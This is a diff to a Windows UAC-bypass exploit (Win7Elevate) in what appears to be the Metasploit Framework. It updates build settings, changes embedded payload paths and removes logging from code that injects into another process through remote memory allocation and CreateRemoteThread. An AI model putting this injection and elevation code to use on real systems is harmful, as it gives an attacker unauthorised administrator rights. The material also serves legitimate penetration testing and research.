external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc
vendored
Normal file → Executable file
|
@ -61,22 +61,23 @@ END
|
||||||
|
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
|
|
||||||
|
// Z:\code\metasploit-framework\external\source\exploits\bypassuac\TIOR\Debug\Win32
|
||||||
#ifdef _WIN64
|
#ifdef _WIN64
|
||||||
IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\x64\\Debug\\Win7ElevateDll64.dll"
|
IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Debug\\x64\\Win7ElevateDll.x64.dll"
|
||||||
IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\x64\\Debug\\TIOR64.exe"
|
IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Debug\\x64\\TIOR.x64.exe"
|
||||||
#else
|
#else
|
||||||
IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win32\\Debug\\Win7ElevateDll32.dll"
|
IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Debug\\Win32\\Win7ElevateDll.x86.dll"
|
||||||
IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\Win32\\Debug\\TIOR32.exe"
|
IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Debug\\Win32\\TIOR.x86.exe"
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#else // _DEBUG
|
#else // _DEBUG
|
||||||
|
|
||||||
#ifdef _WIN64
|
#ifdef _WIN64
|
||||||
IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\x64\\Release\\Win7ElevateDll64.dll"
|
IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Release\\x64\\Win7ElevateDll.x64.dll"
|
||||||
IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\x64\\Release\\TIOR64.exe"
|
IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Release\\x64\\TIOR.x64.exe"
|
||||||
#else
|
#else
|
||||||
IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win32\\Release\\Win7ElevateDll32.dll"
|
IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Release\\Win32\\Win7ElevateDll.x86.dll"
|
||||||
IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\Win32\\Release\\TIOR32.exe"
|
IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Release\\Win32\\TIOR.x86.exe"
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|
|
@ -1,5 +1,5 @@
|
||||||
<?xml version="1.0" encoding="utf-8"?>
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
<ItemGroup Label="ProjectConfigurations">
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
<ProjectConfiguration Include="Debug|Win32">
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
<Configuration>Debug</Configuration>
|
<Configuration>Debug</Configuration>
|
||||||
|
@ -28,23 +28,27 @@
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
<UseDebugLibraries>true</UseDebugLibraries>
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
<UseDebugLibraries>true</UseDebugLibraries>
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
<UseDebugLibraries>false</UseDebugLibraries>
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
<UseDebugLibraries>false</UseDebugLibraries>
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
<ImportGroup Label="ExtensionSettings">
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
@ -63,25 +67,30 @@
|
||||||
</ImportGroup>
|
</ImportGroup>
|
||||||
<PropertyGroup Label="UserMacros" />
|
<PropertyGroup Label="UserMacros" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<LinkIncremental>true</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||||
<TargetName>$(ProjectName)32</TargetName>
|
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||||
|
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
<LinkIncremental>true</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||||
<TargetName>$(ProjectName)64</TargetName>
|
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||||
|
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<LinkIncremental>false</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||||
<TargetName>$(ProjectName)32</TargetName>
|
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||||
<GenerateManifest>false</GenerateManifest>
|
<GenerateManifest>false</GenerateManifest>
|
||||||
|
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
<LinkIncremental>false</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||||
<TargetName>$(ProjectName)64</TargetName>
|
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||||
|
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||||
|
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
|
@ -96,10 +105,12 @@
|
||||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
|
||||||
</Link>
|
</Link>
|
||||||
<BuildLog>
|
<BuildLog>
|
||||||
<Path>
|
<Path>
|
||||||
|
@ -119,10 +130,12 @@
|
||||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
|
||||||
</Link>
|
</Link>
|
||||||
<BuildLog>
|
<BuildLog>
|
||||||
<Path>
|
<Path>
|
||||||
|
@ -141,12 +154,14 @@
|
||||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
|
||||||
</Link>
|
</Link>
|
||||||
<BuildLog>
|
<BuildLog>
|
||||||
<Path>
|
<Path>
|
||||||
|
@ -155,6 +170,9 @@
|
||||||
<ResourceCompile>
|
<ResourceCompile>
|
||||||
<PreprocessorDefinitions>WIN32;_UNICODE;UNICODE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;_UNICODE;UNICODE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
</ResourceCompile>
|
</ResourceCompile>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\..\..\..\data\post\bypassuac-$(PlatformTarget).exe"</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
|
@ -168,12 +186,14 @@
|
||||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
|
||||||
</Link>
|
</Link>
|
||||||
<BuildLog>
|
<BuildLog>
|
||||||
<Path>
|
<Path>
|
||||||
|
@ -182,6 +202,9 @@
|
||||||
<ResourceCompile>
|
<ResourceCompile>
|
||||||
<PreprocessorDefinitions>WIN64;_WIN64;_UNICODE;UNICODE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN64;_WIN64;_UNICODE;UNICODE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
</ResourceCompile>
|
</ResourceCompile>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\..\..\..\data\post\bypassuac-$(PlatformTarget).exe"</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="Resource.h" />
|
<ClInclude Include="Resource.h" />
|
||||||
|
@ -204,7 +227,10 @@
|
||||||
<ClCompile Include="Win7Elevate_Utils.cpp" />
|
<ClCompile Include="Win7Elevate_Utils.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="Win7Elevate.rc" />
|
<ResourceCompile Include="Win7Elevate.rc">
|
||||||
|
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">WIN64;_WIN64;_DEBUG;_UNICODE;UNICODE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">_DEBUG;_UNICODE;UNICODE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
</ResourceCompile>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
<ImportGroup Label="ExtensionTargets">
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
|
35
external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp
vendored
Normal file → Executable file
35
external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp
vendored
Normal file → Executable file
|
@ -209,7 +209,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
|
||||||
if (codeStartAdr >= codeEndAdr)
|
if (codeStartAdr >= codeEndAdr)
|
||||||
{
|
{
|
||||||
//MessageBox(hWnd, L"Unexpected function layout", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
//MessageBox(hWnd, L"Unexpected function layout", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
||||||
CLogger::LogLine(L"Unexpected function layout");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -220,7 +219,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
|
||||||
if (dwGMFNRes == 0 || dwGMFNRes >= _countof(szPathToSelf))
|
if (dwGMFNRes == 0 || dwGMFNRes >= _countof(szPathToSelf))
|
||||||
{
|
{
|
||||||
//MessageBox(hWnd, L"Couldn't get path to self", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
//MessageBox(hWnd, L"Couldn't get path to self", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
||||||
CLogger::LogLine(L"Couldn't get path to self");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -231,7 +229,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
|
||||||
if (S_OK != hr)
|
if (S_OK != hr)
|
||||||
{
|
{
|
||||||
//MessageBox(hWnd, L"SHGetFolderPath failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
//MessageBox(hWnd, L"SHGetFolderPath failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
||||||
CLogger::LogLine(L"SHGetFolderPath failed");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -240,7 +237,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
|
||||||
if (hModKernel32 == 0)
|
if (hModKernel32 == 0)
|
||||||
{
|
{
|
||||||
//MessageBox(hWnd, L"Couldn't load kernel32.dll", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
//MessageBox(hWnd, L"Couldn't load kernel32.dll", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
||||||
CLogger::LogLine(L"Couldn't load kernel32.dll");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -257,7 +253,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
|
||||||
|| 0 == tfpWaitForSingleObject.f)
|
|| 0 == tfpWaitForSingleObject.f)
|
||||||
{
|
{
|
||||||
//MessageBox(hWnd, L"Couldn't find API", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
//MessageBox(hWnd, L"Couldn't find API", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
||||||
CLogger::LogLine(L"Couldn't find API");
|
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
@ -374,26 +369,11 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
|
||||||
|
|
||||||
void *pRemoteFunc = reme.AllocAndCopyMemory( RemoteCodeFunc, codeEndAdr - codeStartAdr, true);
|
void *pRemoteFunc = reme.AllocAndCopyMemory( RemoteCodeFunc, codeEndAdr - codeStartAdr, true);
|
||||||
|
|
||||||
if (reme.AnyFailures())
|
if (!(reme.AnyFailures()))
|
||||||
{
|
|
||||||
//MessageBox(hWnd, L"Remote allocation failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
|
||||||
CLogger::LogLine(L"Remote allocation failed");
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
{
|
||||||
HANDLE hRemoteThread = CreateRemoteThread(hTargetProc, NULL, 0, reinterpret_cast< LPTHREAD_START_ROUTINE >( pRemoteFunc ), pRemoteArgs, 0, NULL);
|
HANDLE hRemoteThread = CreateRemoteThread(hTargetProc, NULL, 0, reinterpret_cast< LPTHREAD_START_ROUTINE >( pRemoteFunc ), pRemoteArgs, 0, NULL);
|
||||||
|
|
||||||
if (hRemoteThread == 0)
|
if (hRemoteThread != 0)
|
||||||
{
|
|
||||||
//MessageBox(hWnd, L"Couldn't create remote thread", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
|
||||||
CLogger::LogLine(
|
|
||||||
CError::Format(
|
|
||||||
GetLastError(),
|
|
||||||
L"Couldn't create remote thread",
|
|
||||||
L"CreateRemoteThread"));
|
|
||||||
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
{
|
||||||
if ( Redirector )
|
if ( Redirector )
|
||||||
Redirector();
|
Redirector();
|
||||||
|
@ -415,7 +395,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
|
||||||
//else if (IDCANCEL == MessageBox(hWnd, L"Continue waiting for remote thread to complete?", L"Win7Elevate", MB_OKCANCEL | MB_ICONQUESTION))
|
//else if (IDCANCEL == MessageBox(hWnd, L"Continue waiting for remote thread to complete?", L"Win7Elevate", MB_OKCANCEL | MB_ICONQUESTION))
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
CLogger::LogLine(L"Continue waiting for remote thread to complete? : NO");
|
|
||||||
// See if it completed before the user asked to stop waiting.
|
// See if it completed before the user asked to stop waiting.
|
||||||
// Code that wasn't just a proof-of-concept would use a worker thread that could cancel the wait UI.
|
// Code that wasn't just a proof-of-concept would use a worker thread that could cancel the wait UI.
|
||||||
if (WAIT_OBJECT_0 == WaitForSingleObject(hRemoteThread, 0))
|
if (WAIT_OBJECT_0 == WaitForSingleObject(hRemoteThread, 0))
|
||||||
|
@ -442,14 +421,4 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
|
||||||
|
|
||||||
FreeLibrary(hModKernel32);
|
FreeLibrary(hModKernel32);
|
||||||
|
|
||||||
if (bThreadWaitFailure)
|
|
||||||
{
|
|
||||||
//MessageBox(hWnd, L"Error waiting on the remote thread to complete", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
|
||||||
CLogger::LogLine(L"Error waiting on the remote thread to complete");
|
|
||||||
}
|
|
||||||
else if (bThreadWaitSuccess)
|
|
||||||
{
|
|
||||||
//MessageBox(hWnd, L"Remote thread completed", L"Win7Elevate", MB_OK | MB_ICONINFORMATION);
|
|
||||||
CLogger::LogLine(L"Remote thread completed");
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
16
external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp
vendored
Normal file → Executable file
16
external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp
vendored
Normal file → Executable file
|
@ -33,7 +33,6 @@ bool W7EUtils::GetProcessList(HWND hWnd, std::map< DWORD, std::wstring > &mapPro
|
||||||
if (hSnapshot == INVALID_HANDLE_VALUE)
|
if (hSnapshot == INVALID_HANDLE_VALUE)
|
||||||
{
|
{
|
||||||
//MessageBox(hWnd, L"CreateToolhelp32Snapshot failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
//MessageBox(hWnd, L"CreateToolhelp32Snapshot failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
||||||
CLogger::LogLine(L"CreateToolhelp32Snapshot failed");
|
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
@ -61,17 +60,7 @@ bool W7EUtils::GetProcessList(HWND hWnd, std::map< DWORD, std::wstring > &mapPro
|
||||||
{
|
{
|
||||||
DWORD dwErr = GetLastError();
|
DWORD dwErr = GetLastError();
|
||||||
|
|
||||||
if (ERROR_NO_MORE_FILES != dwErr)
|
if ((ERROR_NO_MORE_FILES == dwErr) && !(mapProcs.empty()))
|
||||||
{
|
|
||||||
//MessageBox(hWnd, L"Process32Next/First failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
|
||||||
CLogger::LogLine(L"Process32Next/First failed");
|
|
||||||
}
|
|
||||||
else if (mapProcs.empty())
|
|
||||||
{
|
|
||||||
//MessageBox(hWnd, L"Process32Next/First returned nothing", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
|
||||||
CLogger::LogLine(L"Process32Next/First returned nothing");
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
{
|
||||||
bResult = true;
|
bResult = true;
|
||||||
}
|
}
|
||||||
|
@ -107,7 +96,6 @@ bool W7EUtils::OpenProcessToInject(HWND hWnd, HANDLE *pOutProcHandle, DWORD dwPi
|
||||||
if (szProcName == NULL)
|
if (szProcName == NULL)
|
||||||
{
|
{
|
||||||
//MessageBox(hWnd, L"No process name passed in", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
//MessageBox(hWnd, L"No process name passed in", L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
||||||
CLogger::LogLine(L"No process name passed in");
|
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -140,7 +128,7 @@ bool W7EUtils::OpenProcessToInject(HWND hWnd, HANDLE *pOutProcHandle, DWORD dwPi
|
||||||
}
|
}
|
||||||
|
|
||||||
//MessageBox(hWnd, strMsg.c_str(), L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
//MessageBox(hWnd, strMsg.c_str(), L"Win7Elevate", MB_OK | MB_ICONWARNING);
|
||||||
CLogger::LogLine(strMsg);
|
|
||||||
|
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,5 +1,5 @@
|
||||||
<?xml version="1.0" encoding="utf-8"?>
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
<ItemGroup Label="ProjectConfigurations">
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
<ProjectConfiguration Include="Debug|Win32">
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
<Configuration>Debug</Configuration>
|
<Configuration>Debug</Configuration>
|
||||||
|
@ -28,23 +28,27 @@
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
<UseDebugLibraries>true</UseDebugLibraries>
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
<UseDebugLibraries>true</UseDebugLibraries>
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
<UseDebugLibraries>false</UseDebugLibraries>
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
<UseDebugLibraries>false</UseDebugLibraries>
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
